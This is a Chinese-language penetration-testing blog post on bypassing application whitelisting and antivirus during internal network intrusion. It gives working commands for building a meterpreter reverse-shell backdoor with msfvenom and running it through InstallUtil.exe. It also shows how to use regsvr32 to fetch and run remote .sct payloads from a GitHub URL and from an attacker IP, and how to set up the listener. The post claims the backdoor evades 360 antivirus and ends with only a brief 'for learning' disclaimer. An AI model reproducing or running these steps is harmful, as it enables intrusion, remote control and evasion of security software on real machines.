绕过应用程序白名单技巧

在内网渗透中,经常会在内网主机执行执行的渗透工具的时候出现执行不起来的情况,很多时候是由与安全软件做了白名单限制,只允许指定的白名单中的应用程序启动,这时我们就需要利用白名单中的程序做我们想做的事情,执行我们想要执行的程序,下面就给大家分享几个绕过白名单执行应用程序的姿势。

一、通过 csharp 编译文件绕过防病毒软件

1、下载 CSharp 文件

wget http://tinyurl.com/InstallUtil-ShellCode-cs

绕过应用程序白名单技巧_第1张图片
2、使用 msfvenom 生成一个 msf 的 csharp 格式的 shellcode:

msfvenom-p windows / meterpreter / reverse_tcp lhost = YOUR_IP lport = 443 -fcsharp> shellcode.txt

绕过应用程序白名单技巧_第2张图片

3、在 InstallUtil-ShellCode.cs 文件中,您将注意到代码中有两个功能

先从 main 函数的执行命令行中写入显示提示信息,当使用 InstallUtil.exe 工具运行程序时,将执行名为 Uninstall 函数(橙色框中的代码)的中代码的功能。

installUtil.exe 通常位于受信任的应用程序列表中,可能会绕过某些应用程序白名单软件。

Uninstall 函数中的代码将调用 Shellcode 函数,这是我们的嵌套恶意绕过防病毒的 shellcode 代码。

绕过应用程序白名单技巧_第3张图片


4、下面是需要替换的 shellcode 代码位置

绕过应用程序白名单技巧_第4张图片

5、在 geeeratewith metasploit 下面将 msf 生成的 shllcode.txt 的代码复制替换

绕过应用程序白名单技巧_第5张图片

6、需要修改其中的代码,将 buf 变量修改成 shellcode 并保存文件

绕过应用程序白名单技巧_第6张图片

7、使用 csc.exe 工具编译修改后的 InstallUtil-ShellCode-cs 文件

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:exeshell.exe  InstallUtil-ShellCode.cs

绕过应用程序白名单技巧_第7张图片

8、在 msf 下生成监听 shell:

use multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 10.0.0.86

set LPORT 444

set ExitOnSession false

run -j

绕过应用程序白名单技巧_第8张图片

9、在目标受害者机器上通过 InstallUtil.exe 工具执行我们编译的后门文件 exeshell.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe/logfile= /LogToConsole=false /U exeshell.exe

绕过应用程序白名单技巧_第9张图片

10、在 kali 下可以看到成功获得目标主机的 shell:绕过应用程序白名单技巧_第10张图片

此时通过 360 进行查杀未发现有病毒:

绕过应用程序白名单技巧_第11张图片


二、通过 sct 远程执行绕过防病毒

1、远程执行的 sct ( payload.sct ) 文件代码如下:

绕过应用程序白名单技巧_第12张图片

2、在目标受害者机器上远程执行:

这里前提需要将 pentestab.exe 文件上传到目标主机 C 盘下或者其他位置,其他位置需要更改 payload.sct 代码:

regsvr32/u /n /s /i: https://raw.githubusercontent.com/backlion/demo/master/payload.sct scrobj.dll


也可以本地执行:

regsvr32/u /n /s /i:payload.sct scrobj.dll

绕过应用程序白名单技巧_第13张图片

3、由于 pentestlab3 是 Metasploit 的有效载荷,所以 Meterpreter 会话将被打开:



三、msf 下生成模块生成 sct 绕过防病毒

1、在 msf 上生成 sct 监听反弹 shell

msf>useexploit/windows/misc/regsvr32_applocker_bypass_server

msf>show  options

msf>setlhost 10.0.0.86

msf>set  lport 6666

绕过应用程序白名单技巧_第14张图片

绕过应用程序白名单技巧_第15张图片

2、在目标受害者主机上执行以下命令:

regsvr32/s /n /u /i:http://10.0.0.86:8080/q0Nqdxa4iKkeNXB.sct scrobj.dll

绕过应用程序白名单技巧_第16张图片

3、在 msf 即可看到反弹 shell:

绕过应用程序白名单技巧_第17张图片


总结

这里的几种方式都是用来应对防病毒软件采用软件白名单的方式拒绝恶意软件的执行,通过一些默认放行的白名单系统应用程序启动我们构造好的恶意程序或者 payload 来绕过防病毒软件的白名单限制,这里只讨论技术的学习,请不要用来做违法的事情,欢迎大家投稿一起分享在渗透测试中应用的各种姿势,各种技术的安全原理等。

你可能感兴趣的:(【信息安全】,渗透技巧)